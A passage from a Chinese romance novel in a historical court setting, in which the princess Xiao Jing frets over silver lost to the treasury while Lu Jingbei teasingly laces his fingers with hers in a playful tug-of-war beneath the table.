内心还有个声音正疯狂咆哮:我的五千两,还有三哥的一千两,全进国库了! 一旁的陆惊澜感受到掌心骤然加重的刺痛感,又望着她努力堆笑,眉眼却快皱成小苦瓜的侧脸,瞬间心领神会。 眼底憋不住的笑意快要溢出来,他微微侧头,轻声在她耳边道:“殿下,您再这般用力,臣这只未受伤的左手,只怕也要跟着遭殃了。” 萧璟这才回过神来,慌忙想松开手,可谁知二人的手心刚分开了一瞬,陆惊澜宽大的手掌便重新贴了上来,温暖有力,不再像先前那般冰凉。 他的掌心贴着她的,微微一转,五指并拢对齐的下一瞬,他的手指轻而易举地侵入了她的指缝。 等萧璟反应过来,他们已是十指相扣,紧紧缠在一起。 他眉眼带笑,又轻轻捏了捏她的手,低声哄道:“好了,这样握,殿下想多用力都可以。” 萧璟懵了许久,脸不知不觉间又红了起来,她努力想从他的指缝间逃离,可二人力气悬殊,不管她怎么用劲挣,他总能用比她稍大些的力气,扣住她的手。 既不扯痛她,又能牢牢禁锢她。 二人的手在桌下无声缠斗了许久,当然,每一次都是她落败。